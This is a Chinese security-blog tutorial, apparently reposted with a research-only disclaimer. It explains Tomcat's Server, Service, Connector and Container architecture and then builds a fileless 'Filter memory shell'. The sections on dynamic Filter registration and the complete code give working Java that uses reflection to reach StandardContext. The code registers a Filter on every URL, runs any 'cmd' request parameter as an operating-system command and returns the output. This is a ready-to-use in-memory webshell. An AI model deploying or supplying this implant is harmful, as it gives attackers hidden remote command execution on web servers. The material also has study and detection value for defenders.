0x1 Listener型
0x2 Filter型
0x3 Servlet型
0x02 Tomcat 架构分析
0x1 简介
0x2 架构组成
-
Server:表示整个 Tomcat Catalina servlet 容器,Server 中可以有多个 Service。 -
Service:表示Connector和Engine的组合,对外提供服务,Service可以包含多个Connector和一个Engine。 -
Connector:为Tomcat Engine的连接组件,支持三种协议:HTTP/1.1、HTTP/2.0、AJP。 -
Container:负责封装和管理Servlet 处理用户的servlet请求,把socket数据封装成Request,传递给Engine来处理。 -
Engine:顶级容器,不能被其他容器包含,它接受处理连接器的所有请求,并将响应返回相应的连接器,子容器通常是 Host 或 Context。 -
Host:表示一个虚拟主机,包含主机名称和IP地址,这里默认是localhost,父容器是 Engine,子容器是 Context。 -
Context:表示一个 Web 应用程序,是 Servlet、Filter 的父容器。 -
Wrapper:表示一个 Servlet,它负责管理 Servlet 的生命周期,并提供了方便的机制使用拦截器。
0x3 关联关系
0x4 Connector
-
endpoint:处理来自客户端的连接请求。 -
processor:接受来自endpoint的socket,读取字节流解析成Tomcat的request和response对象。 -
adapter:将封装好的request转交给Container处理,连接Connector和Container。
0x5 Container
0x6 Context
0x03 环境搭建
0x1 创建项目
0x2 添加代码
package com.example.tomcatresponselearn.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@Controller
@RequestMapping("/app")
public class TestController {
@RequestMapping("/test")
@ResponseBody
public String testDemo(String input, HttpServletResponse response) throws IOException {
return "Hello World!";
}
}
0x3 添加Maven地址
https://repo.maven.apache.org/maven2
0x04 Filter内存马
0x1 Tomcat 加载注册Filter
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
this.context.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(this.filterDef.getFilterName());
filterMap.setDispatcher(dispatcherType.name());
filterMap.addURLPattern(urlPattern);
this.context.addFilterMapBefore(filterMap);
-
filterDefs:包含过滤器实例和名称 -
filterMaps:包含所有过滤器的URL映射关系 -
filterConfigs:包含所有与过滤器对应的filterDef信息及过滤器实例
0x2 动态添加Filter
-
获取standardContext -
创建Filter -
使用filterDef封装Filter对象,将filterDef添加到filterDefs -
创建filterMap,将URL和filter进行绑定,添加到filterMaps中 -
使用ApplicationFilterConfig封装filterDef对象,添加到filterConfigs中
Tomcat在启动时会为每个Context都创建个ServletContext对象,表示一个Context。从而可以将ServletContext转化为StandardContext。
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());//只支持 Tomcat 7.x 以上
standardContext.addFilterMapBefore(o1);
Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
0x3 完整代码
Field Configs = null;
Map filterConfigs;
try {
//Step 1
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter";
Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
//Step 2
if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//Step 3
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//Step 4
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
//Step 5
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
}
} catch (Exception e) {
e.printStackTrace();
}
0x05 总结
参考文章
https://uuzdaisuki.com/2021/06/29/tomcat%E6%97%A0%E6%96%87%E4%BB%B6%E5%86%85%E5%AD%98webshell/
https://paper.seebug.org/1441/#1jsp-webshell
https://blog.csdn.net/littlewhitevg/article/details/107671946
https://www.cnblogs.com/chuonye/p/10770984.html
- 结尾 - 精彩推荐 【技术分享】Realworld CTF 2022 - RWDN 复现解析 【技术分享】电动汽车充电站管理系统安全深度分析 【技术分享】针对社交网络中恶意滥用账户的分类检测 戳“阅读原文”查看更多内容
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论